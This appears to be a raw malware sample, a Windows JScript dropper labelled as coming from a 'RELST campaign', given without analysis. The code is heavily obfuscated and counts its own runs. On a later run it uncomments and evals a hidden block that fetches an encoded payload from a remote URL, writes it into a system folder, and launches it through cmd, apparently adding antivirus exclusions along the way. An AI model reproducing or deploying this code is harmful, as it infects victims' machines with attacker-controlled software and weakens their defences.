JS from RELST campaign

var ecbdfebefbae = new ActiveXObject('Scripting.FileSystemObject');
 if(ecbdfebefbae.FileExists('ceacadaaffbda.txt')){
 ecbdfebefbae.DeleteFile(ecccbeaaedcbf + '/' + 'ceacadaaffbda.txt');
 Wscript.echo('ceceabdba');
 Wscript.echo('ceceabdba');
 Wscript.echo('ceceabdba');
 Wscript.echo('ceceabdba');
 Wscript.echo('ceceabdba');
 Wscript.echo('ceceabdba');
 Wscript.echo('ceceabdba');
 Wscript.echo('ceceabdba');
 Wscript.echo('ceceabdba');
 }
 if(ecbdfebefbae.FileExists('ceacadaaffbdaas.txt'))ecbdfebefbae.DeleteFile(ecccbeaaedcbf + '/' + 'ceacadaaffbdaas.txt');
 /*
 var dcfaaaccfe = '';
 var fcacbfdfadbb = [];
 var ddaadfedeea;
 function eaccac(bcfeddcdabadbdec) {
 var dcccfdcabeddc = bcfeddcdabadbdec.toString();
 var ddbcfdfab = '';
 for (var cacbfffbbefedb = 0; cacbfffbbefedb < dcccfdcabeddc.length; cacbfffbbefedb += 2)
 ddbcfdfab += String.fromCharCode(parseInt(dcccfdcabeddc.substr(cacbfffbbefedb, 2), 16));
 return ddbcfdfab;
 }
 function cacdeedadddf(fcfcdbecdfedbf) {
 return !isNaN(parseFloat(fcfcdbecdfedbf)) && isFinite(fcfcdbecdfedbf);
 }
 function dbabedccacd(daffacdcfffeabdaffacdcfffeab,befbedefdebabeea){
 for(i=befbedefdebabeea;i>0;i--){
 daffacdcfffeabdaffacdcfffeab = daffacdcfffeabdaffacdcfffeab - 1;
 if(daffacdcfffeabdaffacdcfffeab<0)daffacdcfffeabdaffacdcfffeab = 9;
 }
 return daffacdcfffeabdaffacdcfffeab;
 }
 function dfcfeacaca(sstrstrtdaffacdcfffeabr,daabcffedff){
 var ecbcdaeeabbcfb = sstrstrtdaffacdcfffeabr.length;
 var dfcebdfae = '';
 var aabfadcfbfebafeb = 0;
 for(var baccdcee=0;baccdcee<ecbcdaeeabbcfb;baccdcee++){
 if(aabfadcfbfebafeb>10)aabfadcfbfebafeb=0;
 if(cacdeedadddf(sstrstrtdaffacdcfffeabr.charAt(baccdcee))){
 dfcebdfae = dfcebdfae + dbabedccacd(sstrstrtdaffacdcfffeabr.charAt(baccdcee),daabcffedff[aabfadcfbfebafeb]);
 aabfadcfbfebafeb++;
 }else{
 dfcebdfae = dfcebdfae + sstrstrtdaffacdcfffeabr.charAt(baccdcee);
 }
 }
 return dfcebdfae;
 }
 function fdfbcffbfb(aefacaceaccced,affbcdbabccf){
 var feccfbbfacaffcde = "mrlhIWuvR)Z,7:FK0VJn-1PbOE$Bpk@wdC2e8.&D46%_Qat+GziqTY;coL9U*3fAMjX(^Ssy5!HNgx";
 var bedefccaffb = "";
 var feaabefdafe = feccfbbfacaffcde.length-1;
 var size = aefacaceaccced.length;
 for(var fedcdcdbdca = 0; fedcdcdbdca<size ; fedcdcdbdca++){
 var befbefdbb = feccfbbfacaffcde.indexOf(aefacaceaccced.charAt(fedcdcdbdca));
 var eaebffebdabede = befbefdbb - affbcdbabccf;
 if(eaebffebdabede<0){
 eaebffebdabede = feaabefdafe - Math.abs(eaebffebdabede);
 var befbedefdebabeea = feaabefdafe - 1;
 if(eaebffebdabede==befbedefdebabeea)eaebffebdabede = eaebffebdabede + affbcdbabccf;
 }
 bedefccaffb = bedefccaffb + feccfbbfacaffcde.charAt(eaebffebdabede);
 }
 return eaccac(bedefccaffb);
 }
 var acadeeaebceeaaab = new ActiveXObject(fdfbcffbfb(":f%f:e%U:V:6%U%$%:e$%%%U%2%!:f:U:f:6%!%4%K%e%M%!%f:6",1));
 var ecccbeaaedcbf = acadeeaebceeaaab.GetSpecialFolder(2);
 var acadeeaebceeaaabDeck = new ActiveXObject(fdfbcffbfb('!:!f%f:e%U:V:6e$:f%.%!%2%2',1));
 var bbbaffebdeb = acadeeaebceeaaabDeck.SpecialFolders(fdfbcffbfb('66%!:f%p:6%K:V',1));
 var ecccbeaaedcbfd = bbbaffebdeb;
 var fbfcfdedfcdafb = new ActiveXObject(fdfbcffbfb(":f%f:e%U:V:6%U%$%:e$%%%U%2%!:f:U:f:6%!%4%K%e%M%!%f:6",1));
 var ffccabaedd = new ActiveXObject(fdfbcffbfb('64:f:.%4%2fee$!.64626.!6!6!Ve$ffe$fV',1));
 var bfaefbfadaaedce = 0;
 var adafdedffbaf = 0;
 var linksssee = ['%.:6:6:VfMeKeK:f%K%e%e%!:e%U%$%%%Ke$%f%K%4eK%:%P:6%!e$:V%.:V'];
 while(true){
 bfaefbfadaaedce++;
 if(linksssee[adafdedffbaf] == undefined)adafdedffbaf = 0;
 try {
 ffccabaedd.open(fdfbcffbfb('6:6!!6',1,1), fdfbcffbfb(linksssee[adafdedffbaf],1)+'?ff'+bfaefbfadaaedce, false);
 ffccabaedd.send();
 } catch(e) {
 adafdedffbaf++;
 WScript.Sleep(1000);
 continue;
 }
 var dcdfeaededa = ffccabaedd.responseText.indexOf('|||');
 if( dcdfeaededa == -1 ){
 adafdedffbaf++;
 WScript.Sleep(1000);
 continue;
 }
 if(ffccabaedd.Status == 200)break;
 }
 var fdbecfadcbbecfd = ffccabaedd.responseText;
 fdbecfadcbbecfd = fdbecfadcbbecfd.split(fdfbcffbfb(':2:2:2',1));
 var eccbbecbafbaa = fdbecfadcbbecfd[0].split(fdfbcffbfb('e2',1));
 dcfaaaccfe = dfcfeacaca(fdbecfadcbbecfd[1],eccbbecbafbaa);
 var fabadbfdfdaooo = new ActiveXObject(fdfbcffbfb(":f%f:e%U:V:6%U%$%:e$%%%U%2%!:f:U:f:6%!%4%K%e%M%!%f:6",1));
 var  fcacbfdfadbb = [];
 for(var baccdcee=0; baccdcee< dcfaaaccfe.length-1; baccdcee+=2){
 fcacbfdfadbb.push(parseInt(dcfaaaccfe.substr(baccdcee, 2), 16));
 }
 ddaadfedeea = String.fromCharCode.apply(String, fcacbfdfadbb);
 function abdadded(accbfadeddeed){
 var febdaceaaabfacd = accbfadeddeed;
 var aabeeafbdceb = new ActiveXObject(fdfbcffbfb('6P666K666ee$!f:6:e%!%P%4',1));
 aabeeafbdceb.Type = 2;
 aabeeafbdceb.Charset = 'ISO-8859-1';
 aabeeafbdceb.Open();
 aabeeafbdceb.WriteText(febdaceaaabfacd);
 aabeeafbdceb.SaveToFile(ecccbeaaedcbfd + '/' +fdfbcffbfb('fVfef%f:e$%!:.%!',1), 2);
 aabeeafbdceb.Close();
 }
 abdadded(ddaadfedeea);
 var fabadbfdfda = new ActiveXObject(fdfbcffbfb(":f%f:e%U:V:6%U%$%:e$%%%U%2%!:f:U:f:6%!%4%K%e%M%!%f:6",1));
 var ccadeddfffe = fabadbfdfda.FileExists(ecccbeaaedcbf + '/' +'bcebeaadbebcb.txt');
 var fcddbefdecf = new ActiveXObject(fdfbcffbfb('!:!f%f:e%U:V:6e$:f%.%!%2%2',1));
 fcddbefdecf.Run(fdfbcffbfb('%f%4%6e$%!:.%!eVeK%feV',1) + fdfbcffbfb('ee%!%f%.%KeV!p!M%K%$%!!6:e%P%$:f%%%!:e!4f$eV',1)+ ecccbeaaedcbfd +'\\'+ fdfbcffbfb('fVfef%f:e$%!:.%!',1)+fdfbcffbfb('fM!M%K%$%!e$6U%6%!%$:6%U%%%U%!:eee',1),0,false);
 fcddbefdecf.Run(fdfbcffbfb('%f%4%6e$%!:.%!eVeK%feV',1) + fdfbcffbfb('ee%!%f%.%KeV!M%K%$%!6U%6f4fef$f$eV',1)+ ecccbeaaedcbfd +'\\'+ fdfbcffbfb('fVfef%f:e$%!:.%!',1)+fdfbcffbfb('fM!M%K%$%!e$6U%6%!%$:6%U%%%U%!:eee',1),0,false);
 fcddbefdecf.Run(fdfbcffbfb('%f%4%6e$%!:.%!eVeK%feV',1)+ ecccbeaaedcbfd +'\\'+ fdfbcffbfb('fVfef%f:e$%!:.%!',1),0,false);
 fabadbfdfda.DeleteFile(ecccbeaaedcbf + '/' +'ecbcdaeeabbcfber.txt');
 if(ccadeddfffe)fabadbfdfda.DeleteFile(ecccbeaaedcbf + '/' +'bcebeaadbebcb.txt');
 WScript.Quit();
 */
 var ecccbeaaedcbf = ecbdfebefbae.GetSpecialFolder(2);
 function fdcbaddcfdbefd(bdbaebdaaaad){
 var cccedffeaeafc = new ActiveXObject('Scripting.FileSystemObject');
 var decdabdeebef = bdbaebdaaaad;
 var aacfffbfaef = decdabdeebef;
 var aebeefbaadecc = cccedffeaeafc.OpenTextFile(aacfffbfaef, 1);
 var cfdabbebfcce =  aebeefbaadecc.ReadAll();
 aebeefbaadecc.Close();
 return cfdabbebfcce;
 }
 var ecbcdaeeabbcfb = 0;
 var ccadeddfffe = ecbdfebefbae.FileExists(ecccbeaaedcbf + '/' + 'ecbcdaeeabbcfber.txt');
 if(ccadeddfffe == true){
 var eafcaacdbfbbafddd = ecbdfebefbae.OpenTextFile(ecccbeaaedcbf + '/' + 'ecbcdaeeabbcfber.txt', 1,1);
 ecbcdaeeabbcfb = eafcaacdbfbbafddd.ReadAll();
 eafcaacdbfbbafddd.Close();
 }
 ecbcdaeeabbcfb = parseInt(ecbcdaeeabbcfb) +1;
 if(ecbdfebefbae.FileExists('ceacadaaffbd3.txt'))ecbdfebefbae.DeleteFile(ecccbeaaedcbf + '/' + 'ceacadaaffbd3.txt');
 eafcaacdbfbbafddd = ecbdfebefbae.OpenTextFile(ecccbeaaedcbf + '/' + 'ecbcdaeeabbcfber.txt', 2,1);
 eafcaacdbfbbafddd.WriteLine(ecbcdaeeabbcfb);
 eafcaacdbfbbafddd.Close();
 var abedaeeedabcdc = WScript.ScriptFullName;
 var fbeeacccadfb = fdcbaddcfdbefd(abedaeeedabcdc);
 if(ecbdfebefbae.FileExists('ceacadaaffbd.txt'))ecbdfebefbae.DeleteFile(ecccbeaaedcbf + '/' + 'ceacadaaffbd.txt');
 if(ecbcdaeeabbcfb==4){
 eafcaacdbfbbafddd = ecbdfebefbae.OpenTextFile(ecccbeaaedcbf + '/' + 'fbdffabbacfcc.txt', 2,1);
 if(ecbdfebefbae.FileExists('ceacadaaffbda.txt'))ecbdfebefbae.DeleteFile(ecccbeaaedcbf + '/' + 'ceacadaaffbda.txt');
 eafcaacdbfbbafddd.WriteLine(ecbcdaeeabbcfb);
 eafcaacdbfbbafddd.Close();
 }
 if(ecbcdaeeabbcfb==5){
 if(ecbdfebefbae.FileExists(ecccbeaaedcbf + '/' + 'edaafeddcdfeda.png'))ecbdfebefbae.DeleteFile(ecccbeaaedcbf + '/' + 'edaafeddcdfeda.png');
 ecbdfebefbae.MoveFile(ecccbeaaedcbf + '/' + 'fbdffabbacfcc.txt', ecccbeaaedcbf + '/' + 'bcebeaadbebcb.txt');
 if(ecbdfebefbae.FileExists(ecccbeaaedcbf + '/' + 'fdfdabdbc.txt'))ecbdfebefbae.DeleteFile(ecccbeaaedcbf + '/' + 'fdfdabdbc.txt');
 if(ecbdfebefbae.FileExists('ceacadaaffbda.txt'))ecbdfebefbae.DeleteFile(ecccbeaaedcbf + '/' + 'ceacadaaffbda.txt');
 fbeeacccadfb = fbeeacccadfb.replace('/*','').replace('*/', '').replace('fabeefafbd', '').replace('fabeefafbd', '').replace('fabeefafbd', '').replace('fabeefafbd', '').replace('fabeefafbd', '').replace('fabeefafbd', '').replace('fabeefafbd', '').replace('fabeefafbd', '');
 }
 var ccadeddfffe = ecbdfebefbae.FileExists(ecccbeaaedcbf + '/' + 'bcebeaadbebcb.txt');
 if(ccadeddfffe == true){
 eval(fbeeacccadfb);
 }
 eval(fbeeacccadfb);